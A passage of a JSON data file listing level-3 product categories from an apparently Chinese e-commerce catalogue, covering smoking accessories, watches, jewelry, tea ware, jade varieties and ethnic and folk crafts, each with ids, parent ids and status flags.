d":20158,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22281,"name":"眼镜链","parent_cid":20158,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22286,"name":"眼镜螺丝刀","parent_cid":20158,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22285,"name":"眼镜清洁器","parent_cid":20158,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22255,"name":"卷烟器","parent_cid":20148,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22256,"name":"雪茄剪/刀","parent_cid":20148,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22257,"name":"烟斗及烟斗配件","parent_cid":20148,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22254,"name":"烟盒","parent_cid":20148,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22253,"name":"烟嘴","parent_cid":20148,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25380,"name":"多功能腕表","parent_cid":20706,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25378,"name":"国产腕表","parent_cid":20706,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25381,"name":"欧美腕表","parent_cid":20706,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25379,"name":"日韩腕表","parent_cid":20706,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25382,"name":"瑞士腕表","parent_cid":20706,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26150,"name":"耳钉","parent_cid":20998,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26148,"name":"耳环","parent_cid":20998,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26147,"name":"耳夹","parent_cid":20998,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26149,"name":"耳线","parent_cid":20998,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33605,"name":"发箍","parent_cid":33507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33604,"name":"发夹","parent_cid":33507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33607,"name":"发绳/发圈","parent_cid":33507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33606,"name":"发簪","parent_cid":33507,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31907,"name":"DIY配件","parent_cid":31885,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31901,"name":"耳饰","parent_cid":31885,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31900,"name":"发饰","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31899,"name":"婚庆饰品","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31898,"name":"脚链","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31897,"name":"戒指/指环","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31906,"name":"饰品摆件","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31896,"name":"手链","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33147,"name":"首饰套装","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31889,"name":"手镯","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31888,"name":"项链","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31887,"name":"项坠/吊坠","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31886,"name":"胸针","parent_cid":31885,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27120,"name":"首饰袋","parent_cid":21291,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27118,"name":"首饰盒","parent_cid":21291,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27119,"name":"首饰箱","parent_cid":21291,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27343,"name":"首饰展示架","parent_cid":21291,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33768,"name":"耳饰","parent_cid":33694,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33770,"name":"脚链","parent_cid":33694,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33767,"name":"戒指","parent_cid":33694,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33765,"name":"手链","parent_cid":33694,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33766,"name":"手镯","parent_cid":33694,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33764,"name":"项链/吊坠","parent_cid":33694,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33769,"name":"胸针","parent_cid":33694,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33771,"name":"其他银饰及银制品","parent_cid":33694,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23717,"name":"茶杯","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23820,"name":"茶宠摆件","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23762,"name":"茶道/零配","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23763,"name":"茶道/香炉","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23718,"name":"茶海","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23713,"name":"茶壶","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23714,"name":"茶夹","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23715,"name":"茶巾","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23719,"name":"茶滤","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23720,"name":"茶盘","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23712,"name":"茶匙","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23716,"name":"茶托","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23782,"name":"茶叶罐","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23781,"name":"冲茶器","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23711,"name":"盖碗","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23780,"name":"公道杯","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23816,"name":"功夫茶具","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23819,"name":"花草茶具","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23818,"name":"旅行茶具","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23784,"name":"飘逸杯","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23783,"name":"闻香杯","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23817,"name":"整套茶具","parent_cid":20425,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23531,"name":"摆件","parent_cid":20392,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23533,"name":"茶宠","parent_cid":20392,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23534,"name":"茶盏","parent_cid":20392,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23532,"name":"盖碗","parent_cid":20392,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23530,"name":"其他","parent_cid":20392,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23527,"name":"瓷","parent_cid":20390,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33295,"name":"高端陶瓷","parent_cid":20390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23528,"name":"陶","parent_cid":20390,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23529,"name":"其他","parent_cid":20390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23544,"name":"茶案","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23543,"name":"茶杯","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23542,"name":"茶宠","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23541,"name":"茶壶","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23546,"name":"茶盘","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23547,"name":"茶碗","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23562,"name":"茶叶罐","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23561,"name":"茶叶盒","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23545,"name":"茶盏","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23538,"name":"盖碗","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33296,"name":"高端紫砂","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23540,"name":"花盆","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23539,"name":"花瓶","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23537,"name":"套装","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23536,"name":"其他","parent_cid":20393,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23550,"name":"耳饰","parent_cid":20399,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23559,"name":"挂件/摆件/把件","parent_cid":20399,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23551,"name":"颈饰","parent_cid":20399,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23549,"name":"手饰","parent_cid":20399,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23573,"name":"珠宝奇石","parent_cid":20399,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23548,"name":"其他","parent_cid":20399,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23624,"name":"笔搁","parent_cid":20407,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23625,"name":"车挂","parent_cid":20407,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23629,"name":"俄罗斯玉","parent_cid":20407,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23627,"name":"挂件/摆件/把件","parent_cid":20407,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23626,"name":"颈饰","parent_cid":20407,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23628,"name":"青海玉/昆仑玉","parent_cid":20407,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23622,"name":"手饰","parent_cid":20407,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23631,"name":"珠宝半成品","parent_cid":20407,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23630,"name":"珠宝奇石","parent_cid":20407,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23621,"name":"其他","parent_cid":20407,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23734,"name":"耳饰","parent_cid":20429,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23735,"name":"颈饰","parent_cid":20429,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23733,"name":"手饰","parent_cid":20429,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23821,"name":"珠宝奇石","parent_cid":20429,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23732,"name":"其他","parent_cid":20429,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23925,"name":"阿富汗玉","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23894,"name":"巴玉","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23901,"name":"东陵石","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33355,"name":"多宝玉石","parent_cid":20451,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23909,"name":"独山玉","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34051,"name":"海纹石","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23908,"name":"汉白玉","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34050,"name":"黑曜石","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23916,"name":"黄龙玉","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23917,"name":"晶白玉/京白玉","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23903,"name":"孔雀石","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23911,"name":"蓝田玉","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23910,"name":"绿松石","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23892,"name":"南红","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33314,"name":"欧泊","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23913,"name":"青金石","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23924,"name":"石英质玉/玛瑙玉髓","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33306,"name":"舒俱来","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23905,"name":"岫玉(蛇纹石玉)","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23923,"name":"其它玉石","parent_cid":20451,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28377,"name":"埃及特色","parent_cid":21728,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28387,"name":"巴基斯坦特色","parent_cid":21728,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28375,"name":"北欧特色","parent_cid":21728,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28388,"name":"波西米亚特色","parent_cid":21728,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28384,"name":"俄罗斯特色","parent_cid":21728,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28378,"name":"泰国特色","parent_cid":21728,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28376,"name":"印度特色","parent_cid":21728,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28379,"name":"越南特色","parent_cid":21728,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28449,"name":"阿昌族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28453,"name":"白族特色","parent_cid":21735,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28431,"name":"保安族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28437,"name":"布朗族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28436,"name":"布依族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28455,"name":"藏族特色","parent_cid":21735,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28441,"name":"朝鲜族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28413,"name":"傣族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28438,"name":"德昂族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28428,"name":"东乡族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28412,"name":"侗族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28443,"name":"独龙族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28461,"name":"鄂伦春族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28457,"name":"俄罗斯族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28462,"name":"鄂温克族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28450,"name":"高山族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28429,"name":"仡佬族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28433,"name":"哈尼族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28458,"name":"哈萨克族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28446,"name":"赫哲族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28414,"name":"回族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28440,"name":"景颇族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28410,"name":"京族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28435,"name":"基诺族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28466,"name":"柯尔克孜族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28439,"name":"拉祜族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28432,"name":"傈僳族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28421,"name":"黎族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28418,"name":"满族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28442,"name":"毛南族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28448,"name":"门巴族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28463,"name":"蒙古族特色","parent_cid":21735,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28454,"name":"苗族特色","parent_cid":21735,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28430,"name":"仫佬族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28444,"name":"纳西族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28420,"name":"羌族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28419,"name":"畲族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28417,"name":"水族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28459,"name":"塔塔尔族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28434,"name":"土家族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28415,"name":"土族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28411,"name":"佤族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28460,"name":"维吾尔族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28465,"name":"乌孜别克族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28447,"name":"锡伯族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28416,"name":"彝族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28445,"name":"裕固族","parent_cid":21735,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28452,"name":"壮族特色","parent_cid":21735,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28425,"name":"布老虎","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28407,"name":"藏香","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28409,"name":"风筝","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23636,"name":"根雕","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23632,"name":"核雕","parent_cid":20410,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28406,"name":"葫芦","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28396,"name":"剪纸","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28426,"name":"景泰蓝","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28404,"name":"绢人","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28403,"name":"空竹","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28456,"name":"蜡染印染","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28405,"name":"脸谱","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23633,"name":"琉璃","parent_cid":20410,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28399,"name":"木偶","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23643,"name":"木艺/木雕","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28464,"name":"内画鼻烟壶","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28398,"name":"年画","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23637,"name":"泥塑","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28402,"name":"皮影","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28401,"name":"漆器","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23638,"name":"石膏","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23649,"name":"十字绣","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28400,"name":"梳篦","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23635,"name":"树脂","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28408,"name":"铁画","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23642,"name":"折扇/扇子","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23640,"name":"织绣/刺绣","parent_cid":20410,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28424,"name":"中国结","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23634,"name":"砖雕","parent_cid":20410,"level":3,"enable":1,"is_